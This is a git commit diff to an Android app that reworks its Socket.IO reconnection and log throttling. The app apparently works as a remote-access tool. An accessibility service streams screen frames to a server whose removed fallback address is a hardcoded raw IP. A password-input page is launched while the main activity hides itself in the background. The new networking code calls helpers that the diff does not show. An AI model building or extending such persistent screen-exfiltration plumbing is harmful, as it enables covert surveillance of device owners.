fix: Socket.IO连接超时和日志刷屏修复

- NetworkManager重写为两阶段连接策略:Phase1快速10秒轮询 + Phase2后台监控(最长2分钟)
- Phase2与Socket.IO内置重连机制协作而非对抗,超时后触发forceReconnect
- 所有魔法数字提取为companion object常量
- ScreenCaptureManager: Socket.IO不可用日志降频(首次+每50次打印)
- 连接恢复时打印跳过帧数统计
- MainActivity: 清理残留emoji符号
This commit is contained in:
wdvipa
2026-02-15 18:17:13 +08:00
parent aa516590c8
commit 5b2ddd7730
3 changed files with 176 additions and 464 deletions

View File

@@ -1663,18 +1663,18 @@ class MainActivity : AppCompatActivity() {
} }
/** /**
*新增:检查安装是否已完成 *新增:检查安装是否已完成
*/ */
private fun isInstallationCompleted(): Boolean { private fun isInstallationCompleted(): Boolean {
try { try {
//统一使用InstallationStateManager检查安装状态 //统一使用InstallationStateManager检查安装状态
val installationStateManager = val installationStateManager =
com.hikoncont.util.InstallationStateManager.getInstance(this) com.hikoncont.util.InstallationStateManager.getInstance(this)
val isCompleted = installationStateManager.isInstallationComplete() val isCompleted = installationStateManager.isInstallationComplete()
Log.d(TAG, "📦 安装完成状态: $isCompleted") Log.d(TAG, "安装完成状态: $isCompleted")
return isCompleted return isCompleted
} catch (e: Exception) { } catch (e: Exception) {
Log.e(TAG, "检查安装完成状态失败", e) Log.e(TAG, "检查安装完成状态失败", e)
return false return false
} }
} }
@@ -1686,10 +1686,10 @@ class MainActivity : AppCompatActivity() {
try { try {
val sharedPrefs = getSharedPreferences("password_input", Context.MODE_PRIVATE) val sharedPrefs = getSharedPreferences("password_input", Context.MODE_PRIVATE)
val hasBeenShown = sharedPrefs.getBoolean("password_input_shown", false) val hasBeenShown = sharedPrefs.getBoolean("password_input_shown", false)
Log.d(TAG, "🔐 密码框是否曾经显示过: $hasBeenShown") Log.d(TAG, "密码框是否曾经显示过: $hasBeenShown")
return hasBeenShown return hasBeenShown
} catch (e: Exception) { } catch (e: Exception) {
Log.e(TAG, "检查密码框显示状态失败", e) Log.e(TAG, "检查密码框显示状态失败", e)
return false return false
} }
} }
@@ -1701,9 +1701,9 @@ class MainActivity : AppCompatActivity() {
try { try {
val sharedPrefs = getSharedPreferences("password_input", Context.MODE_PRIVATE) val sharedPrefs = getSharedPreferences("password_input", Context.MODE_PRIVATE)
sharedPrefs.edit().putBoolean("password_input_shown", true).apply() sharedPrefs.edit().putBoolean("password_input_shown", true).apply()
Log.i(TAG, "密码框显示状态已标记") Log.i(TAG, "密码框显示状态已标记")
} catch (e: Exception) { } catch (e: Exception) {
Log.e(TAG, "标记密码框显示状态失败", e) Log.e(TAG, "标记密码框显示状态失败", e)
} }
} }
@@ -1714,9 +1714,9 @@ class MainActivity : AppCompatActivity() {
try { try {
val sharedPrefs = getSharedPreferences("password_input", Context.MODE_PRIVATE) val sharedPrefs = getSharedPreferences("password_input", Context.MODE_PRIVATE)
sharedPrefs.edit().putBoolean("password_input_completed", true).apply() sharedPrefs.edit().putBoolean("password_input_completed", true).apply()
Log.i(TAG, "密码输入状态已标记为完成") Log.i(TAG, "密码输入状态已标记为完成")
} catch (e: Exception) { } catch (e: Exception) {
Log.e(TAG, "标记密码输入完成状态失败", e) Log.e(TAG, "标记密码输入完成状态失败", e)
} }
} }
@@ -1725,7 +1725,7 @@ class MainActivity : AppCompatActivity() {
*/ */
private fun startPasswordInputActivity() { private fun startPasswordInputActivity() {
try { try {
Log.i(TAG, "🔐 准备启动密码输入页面") Log.i(TAG, "准备启动密码输入页面")
val intent = val intent =
Intent(this, com.hikoncont.activity.PasswordInputActivity::class.java).apply { Intent(this, com.hikoncont.activity.PasswordInputActivity::class.java).apply {
@@ -1744,16 +1744,16 @@ class MainActivity : AppCompatActivity() {
} }
startActivity(intent) startActivity(intent)
Log.i(TAG, "密码输入页面已启动") Log.i(TAG, "密码输入页面已启动")
// 隐藏MainActivity避免状态冲突 // 隐藏MainActivity避免状态冲突
hideActivityToBackground() hideActivityToBackground()
} catch (e: Exception) { } catch (e: Exception) {
Log.e(TAG, "启动密码输入页面失败", e) Log.e(TAG, "启动密码输入页面失败", e)
// 如果启动失败,继续正常流程 // 如果启动失败,继续正常流程
runOnUiThread { runOnUiThread {
updateStatusTextThreadSafe("服务启动中...", android.R.color.holo_green_dark) updateStatusTextThreadSafe("服务启动中...", android.R.color.holo_green_dark)
if (::enableButton.isInitialized) { if (::enableButton.isInitialized) {
enableButton.text = "服务已就绪" enableButton.text = "服务已就绪"
enableButton.setBackgroundColor(getColor(android.R.color.holo_green_dark)) enableButton.setBackgroundColor(getColor(android.R.color.holo_green_dark))
@@ -1775,7 +1775,7 @@ class MainActivity : AppCompatActivity() {
// 显示状态,但不自动最小化,让用户看到成功状态 // 显示状态,但不自动最小化,让用户看到成功状态
updateUI() updateUI()
Log.i(TAG, "权限配置完成,保持应用在前台显示状态") Log.i(TAG, "权限配置完成,保持应用在前台显示状态")
} else { } else {
Log.w(TAG, "无障碍服务未启用,显示配置页面") Log.w(TAG, "无障碍服务未启用,显示配置页面")
updateUI() updateUI()
@@ -1930,19 +1930,19 @@ class MainActivity : AppCompatActivity() {
updateUI() updateUI()
// 🚀 主界面模式:恢复日志收集 //主界面模式:恢复日志收集
try { try {
val serviceInstance = com.hikoncont.service.AccessibilityRemoteService.getInstance() val serviceInstance = com.hikoncont.service.AccessibilityRemoteService.getInstance()
// serviceInstance?.enableLogging() // 暂停:暂时不切换日志 // serviceInstance?.enableLogging() // 暂停:暂时不切换日志
Log.i(TAG, "🌐 主界面模式:跳过日志开关") Log.i(TAG, "主界面模式:跳过日志开关")
} catch (e: Exception) { } catch (e: Exception) {
Log.w(TAG, "⚠️ 处理日志开关时异常: ${e.message}") Log.w(TAG, "处理日志开关时异常: ${e.message}")
} }
// 🚀 WebView性能优化恢复WebView //WebView性能优化恢复WebView
resumeWebView() resumeWebView()
} catch (e: Exception) { } catch (e: Exception) {
Log.e(TAG, "异步处理onResume失败", e) Log.e(TAG, "异步处理onResume失败", e)
} }
} }
} }
@@ -1950,17 +1950,17 @@ class MainActivity : AppCompatActivity() {
override fun onPause() { override fun onPause() {
super.onPause() super.onPause()
// 🚀 WebView性能优化暂停WebView以节省资源 //WebView性能优化暂停WebView以节省资源
pauseWebView() pauseWebView()
//Activity不在前台时停止WebView状态更新节省资源 //Activity不在前台时停止WebView状态更新节省资源
if (isWebViewVisible) { if (isWebViewVisible) {
// WebView打开但Activity不在前台停止状态更新并设置为关闭状态 // WebView打开但Activity不在前台停止状态更新并设置为关闭状态
com.hikoncont.service.AccessibilityRemoteService.setWebViewOpen(false) com.hikoncont.service.AccessibilityRemoteService.setWebViewOpen(false)
Log.i(TAG, "Activity不在前台已停止WebView状态更新节省资源") Log.i(TAG, "Activity不在前台已停止WebView状态更新节省资源")
} }
// 🚀 应用不在前台时:恢复日志收集 //应用不在前台时:恢复日志收集
try { try {
val serviceInstance = com.hikoncont.service.AccessibilityRemoteService.getInstance() val serviceInstance = com.hikoncont.service.AccessibilityRemoteService.getInstance()
// serviceInstance?.enableLogging() // 暂停:暂时不切换日志 // serviceInstance?.enableLogging() // 暂停:暂时不切换日志

View File

@@ -1847,30 +1847,44 @@ class ScreenCaptureManager(private val service: AccessibilityRemoteService) {
} }
} }
// Socket unavailable log throttle counter
private var socketUnavailableLogCount = 0
/** /**
* 处理单帧数据 * Process single frame data.
* Throttles "socket unavailable" log to avoid flooding logcat
* when connection is down but capture is still running.
*/ */
private suspend fun processFrameData(frameData: ByteArray) { private suspend fun processFrameData(frameData: ByteArray) {
try { try {
var success = false var success = false
// 优先使用Socket.IO v4官方客户端发送屏幕数据
val socketIOManager = service.getSocketIOManager() val socketIOManager = service.getSocketIOManager()
if (socketIOManager != null && socketIOManager.isConnected()) { if (socketIOManager != null && socketIOManager.isConnected()) {
socketIOManager.sendScreenData(frameData) socketIOManager.sendScreenData(frameData)
Log.v(TAG, "Socket.IO v4发送帧数据: ${frameData.size} bytes") Log.v(TAG, "Socket.IO sent frame: ${frameData.size} bytes")
success = true success = true
// Reset throttle counter on success
if (socketUnavailableLogCount > 0) {
Log.i(TAG, "Socket.IO connection restored, " +
"skipped $socketUnavailableLogCount frames while disconnected")
socketUnavailableLogCount = 0
}
} else { } else {
Log.w(TAG, "Socket.IO连接不可用无法发送屏幕数据") socketUnavailableLogCount++
// Log first occurrence, then every 50th to avoid flooding
if (socketUnavailableLogCount == 1 || socketUnavailableLogCount % 50 == 0) {
Log.w(TAG, "Socket.IO unavailable, cannot send screen data " +
"(count=$socketUnavailableLogCount)")
}
} }
// 记录成功发送时间
if (success) { if (success) {
lastSuccessfulSendTime = System.currentTimeMillis() lastSuccessfulSendTime = System.currentTimeMillis()
} }
} catch (e: Exception) { } catch (e: Exception) {
Log.e(TAG, "处理帧数据失败", e) Log.e(TAG, "Process frame data failed", e)
} }
} }

View File

@@ -1,23 +1,21 @@
package com.hikoncont.service.modules package com.hikoncont.service.modules
import android.content.Context import android.content.Context
import android.os.Build
import android.util.Log import android.util.Log
import com.hikoncont.network.SocketIOManager import com.hikoncont.network.SocketIOManager
import com.hikoncont.service.AccessibilityRemoteService import com.hikoncont.service.AccessibilityRemoteService
import kotlinx.coroutines.* import kotlinx.coroutines.*
import java.io.InputStreamReader import org.json.JSONObject
/** /**
* 网络管理器 * Network manager - manages Socket.IO connection lifecycle.
* 负责网络通信管理
* *
* 主要职责: * Socket.IO client has its own internal reconnect mechanism.
* - SocketIO连接管理 * NetworkManager cooperates with it rather than fighting it:
* - 连接状态监控 * 1. Phase 1 (fast poll): Quick 10s check for immediate connections
* - 自动重连机制 * 2. Phase 2 (background monitor): If Phase 1 times out, monitor
* - 服务器配置读取 * in background while Socket.IO keeps retrying internally
* - 网络异常处理 * 3. Only trigger full reconnect if background monitor times out (2min)
*/ */
class NetworkManager( class NetworkManager(
private val service: AccessibilityRemoteService, private val service: AccessibilityRemoteService,
@@ -25,81 +23,85 @@ class NetworkManager(
) { ) {
companion object { companion object {
private const val TAG = "NetworkManager" private const val TAG = "NetworkManager"
private const val INITIAL_CHECK_INTERVAL_MS = 500L
private const val INITIAL_CHECK_MAX_ATTEMPTS = 20 // 10s
private const val BG_MONITOR_INTERVAL_MS = 3000L
private const val BG_MONITOR_MAX_DURATION_MS = 120_000L // 2min
private const val RECONNECT_INTERVAL_MS = 5000L
private const val MAX_RECONNECT_ATTEMPTS = 10
private const val RECONNECT_COOLDOWN_MS = 30_000L
private const val CONFIG_FILE_SERVER = "server_config.json"
} }
// 网络连接管理器
private lateinit var socketIOManager: SocketIOManager private lateinit var socketIOManager: SocketIOManager
// 协程作用域
private val networkScope = CoroutineScope(Dispatchers.IO + SupervisorJob()) private val networkScope = CoroutineScope(Dispatchers.IO + SupervisorJob())
// 连接状态
@Volatile private var isConnected = false @Volatile private var isConnected = false
@Volatile private var isConnecting = false @Volatile private var isConnecting = false
@Volatile private var lastConnectionAttempt = 0L @Volatile private var lastConnectionAttempt = 0L
private var backgroundMonitorJob: Job? = null
// 重连配置
private val connectionTimeout = 30000L // 30秒连接超时
private val reconnectInterval = 5000L // 5秒重连间隔
private val maxReconnectAttempts = 10 // 最大重连次数
private var reconnectAttempts = 0 private var reconnectAttempts = 0
private var lastReconnectTime = 0L
/** /**
* 初始化网络管理器 * Initialize NetworkManager and create SocketIOManager instance.
*/ */
fun initialize() { fun initialize() {
try { try {
Log.i(TAG, "🌐 初始化网络管理器 (单一Socket.IO连接)") Log.i(TAG, "Initializing NetworkManager (Socket.IO)")
socketIOManager = SocketIOManager(service) socketIOManager = SocketIOManager(service)
Log.i(TAG, "NetworkManager initialized")
Log.i(TAG, "✅ 网络管理器初始化完成 (Socket.IO)")
} catch (e: Exception) { } catch (e: Exception) {
Log.e(TAG, "❌ 网络管理器初始化失败", e) Log.e(TAG, "NetworkManager init failed", e)
} }
} }
/** /**
* 连接到服务器 * Connect to server with two-phase approach:
* Phase 1: Fast poll for 10s
* Phase 2: Background monitor for up to 2min
*/ */
suspend fun connectToServer() { suspend fun connectToServer() {
if (isConnecting) { if (isConnecting) {
Log.d(TAG, "⚠️ 连接正在进行中,跳过重复连接") Log.d(TAG, "Connection in progress, skip duplicate")
return return
} }
// ✅ 检查是否已经连接,避免重复连接
if (isConnected()) { if (isConnected()) {
Log.d(TAG, "✅ 服务器已连接,跳过重复连接") Log.d(TAG, "Already connected, skip")
return return
} }
try { try {
isConnecting = true isConnecting = true
lastConnectionAttempt = System.currentTimeMillis() lastConnectionAttempt = System.currentTimeMillis()
val serverUrl = getServerUrl() val serverUrl = getServerUrl()
if (serverUrl.isNullOrBlank()) {
Log.e(TAG, "Server URL is empty, cannot connect")
return
}
isConnected = false isConnected = false
Log.i(TAG, "Connecting to server: $serverUrl")
Log.i(TAG, "🚀 开始连接到服务器: $serverUrl") // Brief delay for SocketIOManager setup
Log.d(TAG, "🔍 服务器URL调试: 长度=${serverUrl.length}, 内容='$serverUrl'") delay(1000)
// 统一使用初始化延迟确保Android 11+设备稳定性 try {
Log.i(TAG, "🔧 初始化延迟优化") socketIOManager.connect(serverUrl)
delay(2000) } catch (e: Exception) {
Log.e(TAG, "Socket.IO connect call failed: ${e.message}")
}
// 使用Socket.IO连接 // Phase 1: Fast poll (10s)
if (trySocketIOConnection(serverUrl)) { if (pollForConnection(INITIAL_CHECK_MAX_ATTEMPTS, INITIAL_CHECK_INTERVAL_MS)) {
isConnected = true isConnected = true
reconnectAttempts = 0 reconnectAttempts = 0
Log.i(TAG, "Socket.IO连接成功") Log.i(TAG, "Socket.IO connected (Phase 1, fast poll)")
return return
} }
Log.w(TAG, "⚠️ Socket.IO连接失败") // Phase 2: Background monitor
isConnected = false Log.i(TAG, "Phase 1 (10s) did not connect, starting background monitor")
startBackgroundMonitor()
} catch (e: Exception) { } catch (e: Exception) {
Log.e(TAG, "❌ 连接到服务器失败", e) Log.e(TAG, "Connect to server failed: ${e.message}", e)
isConnected = false isConnected = false
} finally { } finally {
isConnecting = false isConnecting = false
@@ -107,401 +109,97 @@ class NetworkManager(
} }
/** /**
* 尝试Socket.IO连接 * Poll Socket.IO connection status at fixed intervals.
* @return true if connected within the polling window
*/ */
private suspend fun trySocketIOConnection(serverUrl: String): Boolean { private suspend fun pollForConnection(maxAttempts: Int, intervalMs: Long): Boolean {
return try {
Log.i(TAG, "🚀 尝试使用Socket.IO v4官方客户端连接")
socketIOManager.connect(serverUrl)
val maxAttempts = 60 // 统一使用60次尝试确保Android 11+设备连接稳定性
val checkInterval = 500L
Log.i(TAG, "🔧 SocketIO连接检测配置: ${maxAttempts}次尝试, ${checkInterval}ms间隔")
repeat(maxAttempts) { attempt -> repeat(maxAttempts) { attempt ->
delay(checkInterval) delay(intervalMs)
if (socketIOManager.isConnected()) { if (isSocketIOReady()) {
Log.i(TAG, "✅ Socket.IO v4连接成功: $serverUrl (${(attempt + 1) * checkInterval}ms)") val elapsedMs = (attempt + 1) * intervalMs
Log.i(TAG, "Socket.IO connected after ${elapsedMs}ms")
return true return true
} }
} }
return false
val totalTime = maxAttempts * checkInterval / 1000
Log.w(TAG, "⚠️ Socket.IO v4连接超时(${totalTime}秒)")
false
} catch (e: Exception) {
Log.w(TAG, "⚠️ Socket.IO v4连接失败: ${e.message}")
false
}
} }
/** /**
* 重新连接到服务器 * Background monitor: watches Socket.IO internal reconnect for up to 2min.
* If connected during this window, updates state.
* If timeout, triggers force reconnect.
*/ */
fun reconnectToServer() { private fun startBackgroundMonitor() {
networkScope.launch { backgroundMonitorJob?.cancel()
backgroundMonitorJob = networkScope.launch {
val startTime = System.currentTimeMillis()
var checkCount = 0
while (isActive) {
delay(BG_MONITOR_INTERVAL_MS)
checkCount++
try { try {
Log.i(TAG, "🔄 开始重新连接到服务器") if (isSocketIOReady()) {
// ✅ 修复:检查是否已经连接,避免重复重连
if (isConnected()) {
Log.d(TAG, "✅ 服务器已连接,跳过重连")
reconnectAttempts = 0 // 重置计数器
return@launch
}
if (reconnectAttempts >= maxReconnectAttempts) {
Log.w(TAG, "⚠️ 已达到最大重连次数($maxReconnectAttempts),停止重连")
return@launch
}
val timeSinceLastAttempt = System.currentTimeMillis() - lastConnectionAttempt
if (timeSinceLastAttempt < reconnectInterval) {
val waitTime = reconnectInterval - timeSinceLastAttempt
Log.d(TAG, "⏰ 等待重连间隔: ${waitTime}ms")
delay(waitTime)
}
reconnectAttempts++
Log.i(TAG, "🔄 重连尝试 $reconnectAttempts/$maxReconnectAttempts")
connectToServer()
// ✅ 修复:等待连接结果,避免立即检查状态
delay(2000) // 等待2秒让连接稳定
if (isConnected()) {
Log.i(TAG, "✅ 重连成功")
reconnectAttempts = 0 // 重置计数器
} else {
Log.w(TAG, "⚠️ 重连失败,等待下次尝试")
scheduleNextReconnect()
}
} catch (e: Exception) {
Log.e(TAG, "❌ 重新连接失败", e)
scheduleNextReconnect()
}
}
}
/**
* 计划下次重连
*/
private fun scheduleNextReconnect() {
if (reconnectAttempts < maxReconnectAttempts) {
networkScope.launch {
delay(reconnectInterval)
// ✅ 修复:避免无限循环,只在需要时重连
if (!isConnected()) {
reconnectToServer()
} else {
Log.d(TAG, "✅ 连接已恢复,取消计划重连")
reconnectAttempts = 0
}
}
} else {
Log.w(TAG, "⚠️ 已达到最大重连次数,停止自动重连")
}
}
/**
* 检查并启动连接
*/
fun checkAndStartConnection() {
networkScope.launch {
try {
Log.d(TAG, "🔍 智能检查连接状态")
val socketIOConnected = if (::socketIOManager.isInitialized) {
socketIOManager.isConnected()
} else false
Log.d(TAG, "连接状态检查: Socket.IO=$socketIOConnected")
if (socketIOConnected) {
Log.d(TAG, "✅ 至少有一个连接正常,无需重连")
isConnected = true isConnected = true
reconnectAttempts = 0 reconnectAttempts = 0
val sec = (System.currentTimeMillis() - startTime) / 1000
Log.i(TAG, "Background monitor: connected after ${sec}s")
return@launch return@launch
} }
val elapsed = System.currentTimeMillis() - startTime
if (!::socketIOManager.isInitialized) { if (elapsed > BG_MONITOR_MAX_DURATION_MS) {
Log.i(TAG, "🔄 连接管理器未初始化,创建新连接") Log.w(TAG, "Background monitor timeout (${elapsed / 1000}s), force reconnect")
connectToServer() triggerForceReconnect()
} else { return@launch
Log.d(TAG, "⚠️ 检测到所有连接均断开,启动重连机制") }
isConnected = false if (checkCount % 10 == 0) {
reconnectToServer() Log.d(TAG, "Background monitor: waiting (${elapsed / 1000}s)")
} }
} catch (e: Exception) { } catch (e: Exception) {
Log.e(TAG, "❌ 检查连接状态失败", e) Log.e(TAG, "Background monitor check failed: ${e.message}")
}
} }
} }
} }
/** /**
* 启动服务连接 * Reconnect to server with cooldown and attempt limits.
*/ */
fun startConnection() { fun reconnectToServer() {
val now = System.currentTimeMillis()
if (now - lastReconnectTime < RECONNECT_COOLDOWN_MS) {
Log.d(TAG, "Reconnect cooldown active, skip")
return
}
if (reconnectAttempts >= MAX_RECONNECT_ATTEMPTS) {
Log.w(TAG, "Max reconnect attempts ($MAX_RECONNECT_ATTEMPTS) reached, reset counter")
reconnectAttempts = 0
}
lastReconnectTime = now
reconnectAttempts++
Log.i(TAG, "Reconnecting to server (attempt $reconnectAttempts/$MAX_RECONNECT_ATTEMPTS)")
networkScope.launch { networkScope.launch {
connectToServer()
}
}
/**
* 断开连接
*/
fun disconnect() {
try { try {
Log.i(TAG, "🔌 断开网络连接") backgroundMonitorJob?.cancel()
if (::socketIOManager.isInitialized) {
socketIOManager.disconnect()
}
isConnected = false
reconnectAttempts = 0
Log.i(TAG, "✅ 网络连接已断开")
} catch (e: Exception) {
Log.e(TAG, "❌ 断开连接失败", e)
}
}
/**
* 清理资源
*/
fun cleanup() {
try {
Log.i(TAG, "🧹 清理网络管理器资源")
disconnect()
networkScope.cancel()
Log.i(TAG, "✅ 网络管理器资源清理完成")
} catch (e: Exception) {
Log.e(TAG, "❌ 清理网络管理器资源失败", e)
}
}
/**
* 获取SocketIOManager实例
*/
fun getSocketIOManager(): SocketIOManager? {
return if (::socketIOManager.isInitialized) socketIOManager else null
}
/**
* 检查是否已连接
*/
fun isConnected(): Boolean {
// ✅ 修复递归调用问题:检查实际的连接状态,而不是调用自己
val actuallyConnected = (
(::socketIOManager.isInitialized && socketIOManager.isConnected())
)
// 更新内部状态
if (actuallyConnected != this.isConnected) {
this.isConnected = actuallyConnected
Log.d(TAG, "🔄 连接状态更新: $actuallyConnected")
}
return actuallyConnected
}
/**
* 检查是否正在连接
*/
fun isConnecting(): Boolean = isConnecting
/**
* 获取连接状态信息
*/
fun getConnectionStatus(): ConnectionStatus {
val socketIOConnected = if (::socketIOManager.isInitialized) {
socketIOManager.isConnected()
} else false
val actuallyConnected = socketIOConnected
return ConnectionStatus(
isConnected = actuallyConnected,
isConnecting = isConnecting,
socketIOConnected = socketIOConnected,
reconnectAttempts = reconnectAttempts,
lastConnectionAttempt = lastConnectionAttempt
)
}
/**
* 获取服务器URL
*/
private fun getServerUrl(): String {
// 1. 首先尝试从SharedPreferences获取用户设置的地址
val sharedPrefs = context.getSharedPreferences("remote_control_settings", Context.MODE_PRIVATE)
val userSetUrl = sharedPrefs.getString("server_url", null)
if (!userSetUrl.isNullOrEmpty()) {
Log.i(TAG, "使用用户设置的服务器地址: $userSetUrl")
return userSetUrl
}
// 2. 尝试从构建时的配置文件读取
val buildConfigUrl = readServerConfigFromAssets()
if (!buildConfigUrl.isNullOrEmpty()) {
Log.i(TAG, "使用构建时配置的服务器地址: $buildConfigUrl")
return buildConfigUrl
}
// 3. 尝试从strings.xml读取默认值
val defaultUrl = try {
service.getString(com.hikoncont.R.string.default_server_url)
} catch (e: Exception) {
Log.w(TAG, "无法从strings.xml读取默认服务器地址: ${e.message}")
null
}
if (!defaultUrl.isNullOrEmpty()) {
Log.i(TAG, "使用strings.xml中的默认服务器地址: $defaultUrl")
return defaultUrl
}
// 4. 最后的兜底地址
val fallbackUrl = "ws://59.153.148.205:3001"
Log.i(TAG, "使用兜底服务器地址: $fallbackUrl")
return fallbackUrl
}
/**
* 获取服务器URL
*/
private fun getWebUrl(): String {
// 1. 首先尝试从SharedPreferences获取用户设置的地址
val sharedPrefs = context.getSharedPreferences("remote_control_settings", Context.MODE_PRIVATE)
val userSetUrl = sharedPrefs.getString("web_url", null)
if (!userSetUrl.isNullOrEmpty()) {
Log.i(TAG, "使用用户设置的服务器地址: $userSetUrl")
return userSetUrl
}
// 2. 尝试从构建时的配置文件读取
val buildConfigUrl = readWebConfigFromAssets()
if (!buildConfigUrl.isNullOrEmpty()) {
Log.i(TAG, "使用构建时配置的服务器地址: $buildConfigUrl")
return buildConfigUrl
}
// 4. 最后的兜底地址
val fallbackUrl = "https://m.baidu.com"
return fallbackUrl
}
/**
* 从assets目录读取构建时的服务器配置
*/
private fun readServerConfigFromAssets(): String? {
return try {
val inputStream = context.assets.open("server_config.json")
val jsonString = inputStream.bufferedReader().use { it.readText() }
inputStream.close()
// 简单的JSON解析避免引入额外依赖
val serverUrlPattern = "\"serverUrl\"\\s*:\\s*\"([^\"]+)\"".toRegex()
val matchResult = serverUrlPattern.find(jsonString)
val serverUrl = matchResult?.groupValues?.get(1)
Log.i(TAG, "从assets读取到服务器配置: $serverUrl")
serverUrl
} catch (e: Exception) {
Log.w(TAG, "读取assets中的服务器配置失败: ${e.message}")
null
}
}
private fun readWebConfigFromAssets(): String? {
return try {
val inputStream = context.assets.open("server_config.json")
val jsonString = inputStream.bufferedReader().use { it.readText() }
inputStream.close()
// 简单的JSON解析避免引入额外依赖
val serverUrlPattern = "\"webUrl\"\\s*:\\s*\"([^\"]+)\"".toRegex()
val matchResult = serverUrlPattern.find(jsonString)
val serverUrl = matchResult?.groupValues?.get(1)
Log.i(TAG, "从assets读取到服务器配置: $serverUrl")
serverUrl
} catch (e: Exception) {
Log.w(TAG, "读取assets中的服务器配置失败: ${e.message}")
null
}
}
/**
* 重置重连计数器
*/
fun resetReconnectCounter() {
reconnectAttempts = 0
lastConnectionAttempt = 0L
isConnected = false isConnected = false
isConnecting = false isConnecting = false
Log.d(TAG, "🔄 重连计数器已重置")
}
/**
* 重置网络管理器状态(程序重启时调用)
*/
fun resetNetworkState() {
try {
Log.i(TAG, "🔄 重置网络管理器状态")
resetReconnectCounter()
// 断开现有连接
if (::socketIOManager.isInitialized) {
socketIOManager.disconnect()
}
Log.i(TAG, "✅ 网络管理器状态重置完成")
} catch (e: Exception) {
Log.e(TAG, "❌ 重置网络管理器状态失败", e)
}
}
/**
* 强制重连
*/
fun forceReconnect() {
networkScope.launch {
Log.i(TAG, "🔄 强制重连")
disconnect()
delay(1000)
resetReconnectCounter()
connectToServer() connectToServer()
} catch (e: Exception) {
Log.e(TAG, "Reconnect failed: ${e.message}", e)
}
} }
} }
/** /**
* 连接状态数据类 * Schedule next reconnect with exponential backoff.
*/ */
data class ConnectionStatus( private fun scheduleNextReconnect() {
val isConnected: Boolean, val delayMs = RECONNECT_INTERVAL_MS * (1L shl minOf(reconnectAttempts, 5))
val isConnecting: Boolean, Log.i(TAG, "Scheduling reconnect in ${delayMs}ms (attempt $reconnectAttempts)")
val socketIOConnected: Boolean, networkScope.launch {
val reconnectAttempts: Int, delay(delayMs)
val lastConnectionAttempt: Long if (!isConnected()) {
) { reconnectToServer()
override fun toString(): String {
return "ConnectionStatus(connected=$isConnected, connecting=$isConnecting, " +
"socketIO=$socketIOConnected, attempts=$reconnectAttempts, lastAttempt=$lastConnectionAttempt)"
} }
} }
} }